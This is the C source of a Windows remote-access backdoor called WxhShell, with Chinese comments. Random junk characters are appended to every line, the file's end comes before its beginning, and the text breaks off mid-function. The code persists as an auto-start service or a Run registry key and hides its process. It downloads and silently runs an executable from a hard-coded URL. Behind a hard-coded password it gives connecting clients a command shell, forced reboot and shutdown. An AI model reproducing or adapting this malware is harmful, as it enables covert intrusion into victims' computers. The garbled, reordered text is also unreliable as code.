    } 5bHS|<  
    break; gY/p\kwsj  
    } H3Zs m)+:  
  // 关机 J};=)xLX;  
  case 'd': { Fs 95^T  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?}Y;/Lwx  
    if(Boot(SHUTDOWN)) 6p)dO c3L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ |^;d  
    else { Ni Y.OwKr  
    closesocket(wsh); $OP w$  
    ExitThread(0); 6^#@y|.  
    } o'*7I|7a  
    break; g?1! /+  
    } wyC1M  
  // 获取shell ?rSm6V  
  case 's': { .?NraydwV  
    CmdShell(wsh); D6NgdE7b  
    closesocket(wsh); #bZT&YE^  
    ExitThread(0); YacLYo#  
    break; 1b LY1  
  } [R%Pf/[Fr  
  // 退出 Ra-%,cS  
  case 'x': { RKtU@MX49  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %kXg|9Bx!  
    CloseIt(wsh); ;UPI%DnE]  
    break; gQ;1SY!  
    } v$]eCj'  
  // 离开 0NFYFd-50  
  case 'q': { cP,bob]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <"HbX  
    closesocket(wsh); <UE-9g5?G  
    WSACleanup(); 3OvQ,^[J4  
    exit(1); 2(s-8E:  
    break; ]R%+  
        } fKkH [  
  } d'UCPg<Y  
  } j3_vh<U\  
1J?x2  
  // 提示信息 *)82iD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Nt/#Qu2#br  
} tv\_& ({  
  } >og- jz  
0hoi=W6AQ  
  return; 79G& 0 P\  
} R A^-Pa.O  
rhQv,F9  
// shell模块句柄 tZ*z.3\<  
int CmdShell(SOCKET sock) aPH6R<G  
{ o3kVcX^  
STARTUPINFO si; FNgC TO%  
ZeroMemory(&si,sizeof(si)); ,5J}Wo?Q}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; se ]q~<&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y{O81 7 \  
PROCESS_INFORMATION ProcessInfo; p0bMgP  
char cmdline[]="cmd"; ? ht;ZP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IuN:*P  
  return 0; QsC6\Gt#  
}  _7P#?:h  
Y2 QX9RN  
// 自身启动模式 04}" n  
int StartFromService(void) )D>= \ Me  
{ *wNO3tP't  
typedef struct Di>B:=  
{ /+g)J0u  
  DWORD ExitStatus; Lcow2 SbH  
  DWORD PebBaseAddress; A{,ZfX;SPO  
  DWORD AffinityMask; , 3p$Z  
  DWORD BasePriority; o@j)clf  
  ULONG UniqueProcessId; +L>?kr[i[  
  ULONG InheritedFromUniqueProcessId; |a{~Imz{  
}   PROCESS_BASIC_INFORMATION; gkRbb   
J%SuiT$L&Y  
PROCNTQSIP NtQueryInformationProcess; qEy]Rc%  
oJ`cefcWo  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G}ccf%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j c-$l  
8AQ@?\Rc"2  
  HANDLE             hProcess; vAH`tPi>  
  PROCESS_BASIC_INFORMATION pbi; KDEcR  
=*Ru 2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H%^j yGS  
  if(NULL == hInst ) return 0; c$AwJhl^]  
,bnrVa(I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Uh=@8v  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zM+eb| >cr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '%\FT-{  
p"ElO,\  
  if (!NtQueryInformationProcess) return 0; ZCuLgCP?Z  
e=#'rDm  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >cYYr@S  
  if(!hProcess) return 0;  *CS2ndp  
Y}UVC|Ef  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M,(UCyT  
V<W$ h`  
  CloseHandle(hProcess); nr>Os@\BU  
@?YO_</  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u>-pg u  
if(hProcess==NULL) return 0; K%iA-h  
KVA~|j B  
HMODULE hMod; AttS?TZr  
char procName[255]; /@`kM'1:  
unsigned long cbNeeded; sBV})8]K M  
J rgpDZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @24)*d^1  
9zs!rlzQ  
  CloseHandle(hProcess); u/S{^2`b  
&>$+O>c ,  
if(strstr(procName,"services")) return 1; // 以服务启动 3qNLosm#M  
(//f"c]/  
  return 0; // 注册表启动 # @~HpqqR  
} qr|v|Ejd~  
@kmOz(  
// 主模块 KCc7u8   
int StartWxhshell(LPSTR lpCmdLine) @M_p3[c\  
{ "CcdwWM  
  SOCKET wsl; \Uh$%#}.  
BOOL val=TRUE; GO<,zOqvU  
  int port=0; "B"Yfg[  
  struct sockaddr_in door; ( {}Z '  
xG"*w@fs7  
  if(wscfg.ws_autoins) Install(); eGr;PaG  
x-%4-)  
port=atoi(lpCmdLine); | g[iK1  
gSn9L)k(O  
if(port<=0) port=wscfg.ws_port; =/zb$d cz  
`+?g96   
  WSADATA data; G}8Zkz@+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~P;KO40K  
#'lqE)T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h#o?O k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'En|-M5  
  door.sin_family = AF_INET; " s3eO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *uG!U%jY)  
  door.sin_port = htons(port); eemw I  
D_2~ 6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9Impp5`/B  
closesocket(wsl); PbpnjvVrM  
return 1; v62O+{  
} S#{gCc  
@})]4H  
  if(listen(wsl,2) == INVALID_SOCKET) { 5N.-m;s  
closesocket(wsl); 6! .nj3$*  
return 1; p^>_VE[S  
} |18h p  
  Wxhshell(wsl); Al-;-t#Dc  
  WSACleanup(); IVdM}"+  
9hn+eU  
return 0; ExKjH*gn  
8DLj?M>N  
} 5%)<e-  
mMSQW6~j  
// 以NT服务方式启动 <g3)!VR^q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C(@#I7G  
{ r=74 'g  
DWORD   status = 0; (u:^4,Z  
  DWORD   specificError = 0xfffffff; 'ugc=-0pd  
0tb%h[%,M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +0Z,#b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J,SP1-L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :plN<8  
  serviceStatus.dwWin32ExitCode     = 0; 4Fs5@@>X  
  serviceStatus.dwServiceSpecificExitCode = 0; RM|2PG1m  
  serviceStatus.dwCheckPoint       = 0; l>){cI/D#  
  serviceStatus.dwWaitHint       = 0; '^10sf`"  
YDxEWK<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1r?hRJ:'  
  if (hServiceStatusHandle==0) return; F :p9y_W  
=&~7Q"  
status = GetLastError(); 9S_PZH  
  if (status!=NO_ERROR) 1XXuFa&  
{ T0TgV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; orON)S ks  
    serviceStatus.dwCheckPoint       = 0; T j(MIFi|5  
    serviceStatus.dwWaitHint       = 0; o7i>D6^^  
    serviceStatus.dwWin32ExitCode     = status; hteAuz4H  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4}xw&x  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2&o jQhe  
    return; kH'zTO1  
  } }N,$4h9Dj  
+, |aIF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K{ED mC  
  serviceStatus.dwCheckPoint       = 0; Swr 8  
  serviceStatus.dwWaitHint       = 0; *'to#_n&W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D`NPU  
} A2 9R5  
dtx3;d<NsJ  
// 处理NT服务事件,比如:启动、停止 L'L[Vpx  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !YVGT <  
{ -~] q?k?  
switch(fdwControl) A~)#  
{ AC&)FY  
case SERVICE_CONTROL_STOP: mxEn iy  
  serviceStatus.dwWin32ExitCode = 0; M~ eXC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \` U=pZJ  
  serviceStatus.dwCheckPoint   = 0; XT%\Ce!  
  serviceStatus.dwWaitHint     = 0; r\T'_wo  
  { /nWBol,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SUC'o"  
  } fvBL? x  
  return; f"RS,]  
case SERVICE_CONTROL_PAUSE: 4..M *U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J~.`  
  break; lx\9Y8  
case SERVICE_CONTROL_CONTINUE: q5xF~SQGw2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Us2IeR  
  break; >r\q6f#J4  
case SERVICE_CONTROL_INTERROGATE: `F`{s`E)  
  break; L6x;<gj  
}; CuT50N;tk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 38#Zlc f  
} 8_Nyy/K#F  
of=N+ W  
// 标准应用程序主函数 Mj6 0?k  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MAQ(PIc>T  
{ JnIE6@g<y  
`n?Rxhkwp  
// 获取操作系统版本 dt||nF  
OsIsNt=GetOsVer(); ZA+w7S3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Xti.yQx\  
%k'>bmJ  
  // 从命令行安装 =1Hn<Xay0  
  if(strpbrk(lpCmdLine,"iI")) Install(); p?2^JJpUb  
R8-=N+hX  
  // 下载执行文件 ?[<#>,W  
if(wscfg.ws_downexe) { Dv"HFQuF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Marx=cNj  
  WinExec(wscfg.ws_filenam,SW_HIDE); UQ#t &  
} GIZw/L7Yb  
Ge7Uety  
if(!OsIsNt) { Nsn~mY%  
// 如果时win9x,隐藏进程并且设置为注册表启动 cq0-D d9^&  
HideProc(); |Kb m74Z%  
StartWxhshell(lpCmdLine); ,@kLH"a0  
} (YM2Cv{4  
else Ao+6^z_  
  if(StartFromService()) N*+L'bO  
  // 以服务方式启动 o~7D=d?R  
  StartServiceCtrlDispatcher(DispatchTable); "H#pN;)+   
else GTM@9^  
  // 普通方式启动 (q@%eor&}  
  StartWxhshell(lpCmdLine); `ZU]eAV  
2<9&OL  
return 0; GkpYf~\Q  
} -tIye{  
&F:%y(;{Y  
iU RSYR  
I? ="Er[g}  
=========================================== ,BFw-A  
(&SPMhs_|(  
Rl&nR$#  
*q"1I9zvT  
T|,/C|L  
{n&GZG"f  
" =ld!=II  
d_!}9  
#include <stdio.h> g/(BV7V  
#include <string.h> x2TE[#><  
#include <windows.h> d3\KUR^  
#include <winsock2.h> 'P*OzZ4>$  
#include <winsvc.h> P%ThW9^vnj  
#include <urlmon.h> yuC|_nL  
\x:} |   
#pragma comment (lib, "Ws2_32.lib") YC$>D? FW  
#pragma comment (lib, "urlmon.lib") 5g.w"0MkY  
!1%Sf.`!_  
#define MAX_USER   100 // 最大客户端连接数 p( )LQT!  
#define BUF_SOCK   200 // sock buffer zJ$U5r/u  
#define KEY_BUFF   255 // 输入 buffer -g:i'e  
S=W^iA6>  
#define REBOOT     0   // 重启 cY Qm8TR<  
#define SHUTDOWN   1   // 关机 65nK1W`i  
(&u'S+  
#define DEF_PORT   5000 // 监听端口 M2;6Cz>,P  
zKI1  
#define REG_LEN     16   // 注册表键长度 #3tC"2MZ  
#define SVC_LEN     80   // NT服务名长度 tt CC] Q  
.4l cES~  
// 从dll定义API !x\\# 9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JNT|h zV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <Ql2+ev6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kkW}:dBl  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a_]l?t  
[:}"MdU'  
// wxhshell配置信息 dWu;F^  
struct WSCFG { 52NI{"  
  int ws_port;         // 监听端口 lon9oraF'  
  char ws_passstr[REG_LEN]; // 口令 u?rX:KkS  
  int ws_autoins;       // 安装标记, 1=yes 0=no p$ETAvD  
  char ws_regname[REG_LEN]; // 注册表键名 X4!Jj *  
  char ws_svcname[REG_LEN]; // 服务名 o?c NH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @6%7X7m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h(GSM'v  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 OT$++cj^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no HIt9W]koO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K r<UPr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xn@oNKD0  
AX'-}5T=  
}; 1*'gaa&y  
VS!v7-_N5  
// default Wxhshell configuration FD~ U F;VQ  
struct WSCFG wscfg={DEF_PORT, [@B!N+P5;  
    "xuhuanlingzhe", Ct zW do.  
    1, ori[[~OyB  
    "Wxhshell", 'i:lV'  
    "Wxhshell", ie>mOsz  
            "WxhShell Service", ykH@kv Qt  
    "Wrsky Windows CmdShell Service", B2KBJ4rI[1  
    "Please Input Your Password: ", ?A24h !7  
  1, R3LIN-g(  
  "http://www.wrsky.com/wxhshell.exe", e 'F:LMX  
  "Wxhshell.exe" baL<|& c  
    }; a;nYR5f  
fZLAZMrM  
// 消息定义模块 #yU"n-eLR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,H<nNBv 3M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qn,fx6v4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;O 5Iu  
char *msg_ws_ext="\n\rExit."; `2^(Ss# )  
char *msg_ws_end="\n\rQuit."; uq7/G|  
char *msg_ws_boot="\n\rReboot..."; <b\8<mTr  
char *msg_ws_poff="\n\rShutdown..."; =vriraV"  
char *msg_ws_down="\n\rSave to "; rusYNb1J  
fF=tT C  
char *msg_ws_err="\n\rErr!"; 4L4u<  
char *msg_ws_ok="\n\rOK!"; T &bB8tQk  
KoWG:~>|  
char ExeFile[MAX_PATH]; s8qpK; O  
int nUser = 0; %qqeL   
HANDLE handles[MAX_USER]; :_nGh]%  
int OsIsNt; 1,U)rx$H  
>IA1 \?(  
SERVICE_STATUS       serviceStatus; zwP*7u$CH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; l8_RA  
gQ%mVJB{(  
// 函数声明 |z&7KoYK'  
int Install(void); "{3|(Qs  
int Uninstall(void); L `=*Pwcj  
int DownloadFile(char *sURL, SOCKET wsh); 0dI7{o;<|  
int Boot(int flag); N pQOLX/<?  
void HideProc(void); P3Ah1X7W"C  
int GetOsVer(void); i }Zz[b  
int Wxhshell(SOCKET wsl); 78<fbN5}r  
void TalkWithClient(void *cs); JE*?O*&|Q  
int CmdShell(SOCKET sock); TIaiJvo  
int StartFromService(void); 8493O x4 O  
int StartWxhshell(LPSTR lpCmdLine); ~DB:/VSmu  
sqjDh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sEZ2DnDI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6Bexwf<u  
XaoVv2=G~  
// 数据结构和表定义 -~H "zu`  
SERVICE_TABLE_ENTRY DispatchTable[] = 9(_n8br1  
{ /'_Yct=  
{wscfg.ws_svcname, NTServiceMain}, A_2lG!! 6  
{NULL, NULL} MU:v& sk  
}; LcNI$g;}Yf  
2 '$nz  
// 自我安装 w_LkS/  
int Install(void) ra_TN ;(  
{ -*-"kzgd  
  char svExeFile[MAX_PATH]; B)0;gWK  
  HKEY key; Z[,,(M  
  strcpy(svExeFile,ExeFile); /#L4ec-'  
Eq=JmO'gHs  
// 如果是win9x系统,修改注册表设为自启动 <KStl fX  
if(!OsIsNt) { o>m*e7l,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TQ[J,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rsw= a_S  
  RegCloseKey(key); Imyw-8/;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z7?\ >4V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sqRvnCD!  
  RegCloseKey(key); /;u=#qu(E-  
  return 0; }?O>.W,/  
    } T$;BZ=_  
  } 3#\C!T0y  
} qS ggZ0*  
else { !RjC0,  
Y 7?q `  
// 如果是NT以上系统,安装为系统服务 d4A:XNKB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1&Mpx!K*T  
if (schSCManager!=0) >{Xyl):  
{ ^$rqyWZYp  
  SC_HANDLE schService = CreateService Fa{[kJ8z  
  ( xsvJjs;=  
  schSCManager, li#ep?5h^  
  wscfg.ws_svcname, *w6F0>u  
  wscfg.ws_svcdisp, q!Z{qt*`um  
  SERVICE_ALL_ACCESS, b/E3Kse?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |F qujZz  
  SERVICE_AUTO_START, {Wr5F9q  
  SERVICE_ERROR_NORMAL, /NuO>kQa  
  svExeFile, `?d` #) Ck  
  NULL, 3 [O+wVv  
  NULL, A+fXt`YNM  
  NULL, tQTjqy{K  
  NULL, X'xnJtk  
  NULL H5CL0#I  
  ); { / ,?3  
  if (schService!=0) ],'"iVh  
  { H}8kku>7  
  CloseServiceHandle(schService); dkQP.Tj$i  
  CloseServiceHandle(schSCManager); }5Km \OI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xA0=C   
  strcat(svExeFile,wscfg.ws_svcname); )vY)Mg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Nkn2\ w  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hdH3Jb_hl(  
  RegCloseKey(key); fd&>p  
  return 0; MaF4lFmS  
    } }yd!UU  
  } @z=L\ e{  
  CloseServiceHandle(schSCManager); d9l2mJzW  
} IUD@Kf]S  
}  | 1a}p  
!';;q  
return 1; m<J:6^H@  
} eEYz A  
&fE2zTz  
// 自我卸载 iAt&927  
int Uninstall(void) ezS@`_pR;  
{ yIWgC[  
  HKEY key; uSH_=^yTQ  
WfYG#!}x  
if(!OsIsNt) { #1WCSLvtV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I2,AT+O<  
  RegDeleteValue(key,wscfg.ws_regname); =}Yz[-I  
  RegCloseKey(key); s|k&@jH)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :4r*Jju<V  
  RegDeleteValue(key,wscfg.ws_regname); !&5*H06  
  RegCloseKey(key); |FSp`P  
  return 0; {T DZDH  
  } /0XmU@B  
} 2G_]Y8  
} B#3Q4c$  
else { yI / FD  
dk0} q6~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3^-\=taN<m  
if (schSCManager!=0) }hcY5E-n  
{ \m=k~Cf:f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]Qe"S>,?`  
  if (schService!=0) u-QHV1H`(  
  { NCgKWyRR  
  if(DeleteService(schService)!=0) { wVX2.D'n<  
  CloseServiceHandle(schService); )jh~jU?c@  
  CloseServiceHandle(schSCManager); yR"mRy1  
  return 0; R*2F)e\|  
  } 4[)tO-v:Y  
  CloseServiceHandle(schService); rbl^ aik  
  } Eqh*"hE7  
  CloseServiceHandle(schSCManager); `$q0fTz  
} +=sw&DH  
} D0>Pc9  
%pqB/  
return 1; Qj$w7*U  
} ls~9qkAyLx  
%/qwqo`Q  
// 从指定url下载文件 L\V`ou  
int DownloadFile(char *sURL, SOCKET wsh) N|3#pHm@  
{ }_('3C,Ba  
  HRESULT hr; 3[8p,wx  
char seps[]= "/"; }Yc5U,A;  
char *token; y>)c?9X  
char *file; RE4WD9n  
char myURL[MAX_PATH]; l]gW_wUQd  
char myFILE[MAX_PATH]; 2'-84  
JpxQS~VX  
strcpy(myURL,sURL); H!>>|6OPF  
  token=strtok(myURL,seps); UcH#J &r  
  while(token!=NULL)  V^rL  
  { ;--D?Gs]Qr  
    file=token; ?7J::}R  
  token=strtok(NULL,seps); )PW|RW  
  } \A)Pcc}7  
9,JWi{lIv  
GetCurrentDirectory(MAX_PATH,myFILE); lxr;AJ(  
strcat(myFILE, "\\"); w'E?L`c  
strcat(myFILE, file); `zB bB^\`W  
  send(wsh,myFILE,strlen(myFILE),0); DIJmISk  
send(wsh,"...",3,0); i"pOYZW1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {m@tt{%  
  if(hr==S_OK) sZEa8  
return 0; 6As%<g=  
else wNn=JzP  
return 1; c?REDj2  
ael] {'h]  
} e8#83|h  
5&O%0`t  
// 系统电源模块 /Ov1eQBNG  
int Boot(int flag) |I29m`  
{ E31Yk D.A  
  HANDLE hToken; Z0<s -eN:  
  TOKEN_PRIVILEGES tkp; hJD3G |E  
TdT`V f  
  if(OsIsNt) { 3^xq+{\)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FOsxId[f9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &%;n 9K  
    tkp.PrivilegeCount = 1; 6(uZn=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Wq"-T.i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s@{~8cHgU  
if(flag==REBOOT) { "tK|/R+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \=]`X2Ld  
  return 0; A*A/30o|R  
} #fHnM+  
else { ^8J`*R8CL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xI~A Z:m  
  return 0; {K6Z.-.`  
} 6-0sBB9=u  
  } 0fn*;f8{XJ  
  else { 4d}=g]P  
if(flag==REBOOT) { W$()W)   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nk7>iK!i  
  return 0; dUt4] ar  
} DwZRx@  
else { N)AlQ'Lwx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %KkC1.yu<  
  return 0; dr+(C[=  
} >]xW{71F@  
} -2>s#/%  
u' Q82l&Y  
return 1; FfrC/"N  
} CCol>:8{P  
H{,1-&>|  
// win9x进程隐藏模块 _aF8Us  
void HideProc(void) P}UxA!  
{ HLG5SS7  
xkiiQs)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }^$1<GT  
  if ( hKernel != NULL ) g,!.`[e'ex  
  { >1;jBx>Qy%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !<HMMf,-D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); PnInsf%;  
    FreeLibrary(hKernel); J -Lynvqm  
  } bhIShk[  
REE .8_  
return; %.r \P@7/Q  
} CEaAtAM  
-3v\ c~  
// 获取操作系统版本 l9="ccM  
int GetOsVer(void) oYTLC@98}  
{ u_ l?d  
  OSVERSIONINFO winfo; 0XCAnMVo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f$kbb 6juL  
  GetVersionEx(&winfo); UH}lKc=t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &*ocr&  
  return 1; '@ Y@Fs  
  else ng9e)lU~*b  
  return 0; 5X+`aB  
} 2|& S2uq  
IF|;;*Z8  
// 客户端句柄模块 ^Cp2#d*  
int Wxhshell(SOCKET wsl) Ao}<a1f  
{ y&5 O)  
  SOCKET wsh; M'<% d[  
  struct sockaddr_in client; x[0hY0 ?[M  
  DWORD myID; G$V=\60a-  
La9}JvQoX  
  while(nUser<MAX_USER) ;hO6 p  
{ E z}1Xse  
  int nSize=sizeof(client); d4  \  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }EkL[H!  
  if(wsh==INVALID_SOCKET) return 1; k)*apc\W  
pC,[!>0g8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?{aJ#w   
if(handles[nUser]==0) >.`*KQdan  
  closesocket(wsh); MQx1|>rG  
else Aipm=C8  
  nUser++; IJ2'  
  } ud5}jyJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0m*b9+q  
|6bvUFr  
  return 0; hN!;Tny  
} .-M5.1mo\(  
 "q M  
// 关闭 socket JFX}))7  
void CloseIt(SOCKET wsh) upaP,ik}~  
{ D|)_c1g  
closesocket(wsh); =O0A(ca"g  
nUser--; t :YZua  
ExitThread(0); oJQS&3;/r  
} sU&v B:]~  
"0jwCX Cu  
// 客户端请求句柄 sYDav)L.  
void TalkWithClient(void *cs) f|w;u!U(  
{ Ya\:C]   
!`?i>k?Q E  
  SOCKET wsh=(SOCKET)cs; 3WQa^'u  
  char pwd[SVC_LEN]; 2?q>yL!Gz  
  char cmd[KEY_BUFF]; "o`?-bQ:  
char chr[1]; $zCCeRP  
int i,j; W7uX  
0{ mm%@o  
  while (nUser < MAX_USER) { &gr 8;O:0  
ux1(>  
if(wscfg.ws_passstr) { &2XH.$Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X [dfms;H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j3-o}6  
  //ZeroMemory(pwd,KEY_BUFF); 5?`4qSUz  
      i=0; 8,IF%Z+LI  
  while(i<SVC_LEN) { bLG7{qp  
N9G xJ6  
  // 设置超时 *w*K&$g  
  fd_set FdRead; , v} )  
  struct timeval TimeOut; 5\h 6"/6Df  
  FD_ZERO(&FdRead); }hg=#*  
  FD_SET(wsh,&FdRead); Nkj$6(N=zJ  
  TimeOut.tv_sec=8; }WFI /W'  
  TimeOut.tv_usec=0; zW#5 /*@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8Snv, Lb`^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !J;Bm,Xn6  
k;cX,*DIn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )-[$m%  
  pwd=chr[0]; QObVJg,GD  
  if(chr[0]==0xd || chr[0]==0xa) { P ah@d!%A  
  pwd=0; %XukiA+  
  break; :n13v @q  
  } "$(D7yFO  
  i++; 4_VgJ9@  
    } [6RODp3')  
]>[TF'pIAx  
  // 如果是非法用户,关闭 socket Ln&~t(7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >e/>@ J*  
} f:\)! &W  
dF51_Kk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {'+{ASpO!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SW}Rkr\e  
~fD\=- S1  
while(1) { sS{Co8EJn  
P^F3,'N  
  ZeroMemory(cmd,KEY_BUFF); ^g(qP tQ  
+$L}B-F  
      // 自动支持客户端 telnet标准   C=oeRc'r1W  
  j=0; >F7HKwg}Z  
  while(j<KEY_BUFF) { }X8P5c!\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0U% tjYk(  
  cmd[j]=chr[0]; * FEJ5x  
  if(chr[0]==0xa || chr[0]==0xd) { G|nBja8vm  
  cmd[j]=0; 2 ^"j]g>mj  
  break; vde!k_,wZ  
  } [[T6X9  
  j++; rlh:| #GTJ  
    } -!7Z  
 "9[2vdSX  
  // 下载文件  d<xi/  
  if(strstr(cmd,"http://")) { z0\ $# r^I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); khR[8j..  
  if(DownloadFile(cmd,wsh)) :!t4.ko  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :D3:`P>,c  
  else & .1-6  
